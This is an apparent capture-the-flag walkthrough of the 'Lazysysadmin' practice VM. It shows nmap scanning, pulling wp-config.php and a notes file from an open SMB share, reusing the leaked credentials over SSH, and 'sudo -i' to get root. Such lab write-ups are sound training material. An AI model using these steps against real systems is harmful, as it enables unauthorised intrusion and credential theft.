How I took down Lazysysadmin


Target Machine IP Address:  
My Machine IP Address:

Machine doesn't work with Virtualbox but Vmware 


Boot to Root

Level: Easy


You can download the machine from here.


Information Gathering & Scanning Process:

sudo arp-scan --interface=vmnet1

Target IP:

nmap -sC -sV -p- -Pn -o nmap.log
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
| 1024 b5:38:66:0f:a1:ee:cd:41:69:3b:82:cf:ad:a1:f7:13 (DSA)
| 2048 58:5a:63:69:d0:da:dd:51:cc:c1:6e:00:fd:7e:61:d0 (RSA)
| 256 61:30:f3:55:1a:0d:de:c8:6a:59:5b:c9:9c:b4:92:04 (ECDSA)
|_ 256 1f:65:c0:dd:15:e6:e4:21:f2:c1:9b:a3:b6:55:a0:45 (ED25519)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-generator: Silex v2.2.7
| http-robots.txt: 4 disallowed entries 
|_/old/ /test/ /TR2/ /Backnode_files/
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Backnode
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
3306/tcp open mysql MySQL (unauthorized)
6667/tcp open irc InspIRCd
| irc-info: 
| server: Admin.local
| users: 1
| servers: 1
| chans: 0
| lusers: 1
| lservers: 0
| source ident: nmap
| source host:
|_ error: Closing link: (nmap@ [Client exited]
Service Info: Hosts: LAZYSYSADMIN, Admin.local; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: 2h09m59s, deviation: 5h46m24s, median: 5h29m59s
|_nbstat: NetBIOS name: LAZYSYSADMIN, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery: 
| OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
| Computer name: lazysysadmin
| NetBIOS computer name: LAZYSYSADMIN\x00
| Domain name: \x00
| FQDN: lazysysadmin
|_ System time: 2021-06-25T20:18:35+10:00
| smb-security-mode: 
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
| 2.02


I had tried robots.txt and tried everything that I could and couldn’t find anything concrete for time being, so let’s try another protocol

2. SMB

smbclient -L

smbclient '\\\share$'

get deets.txt
cd wordpress
get wp-config.php
cat wp-config.php 
Database Name: wordpress
Database Username: Admin
Database Password: TogieMYSQL12345^^

cat deets.txt


and we got username togie from this link


username: togie

Based on nmap result we got in the above step, we know that the box is running with SSH protocol.

ssh togie@
sudo -l

It is jackpot!! Which means I can run any privilege command on the box …

sudo -i


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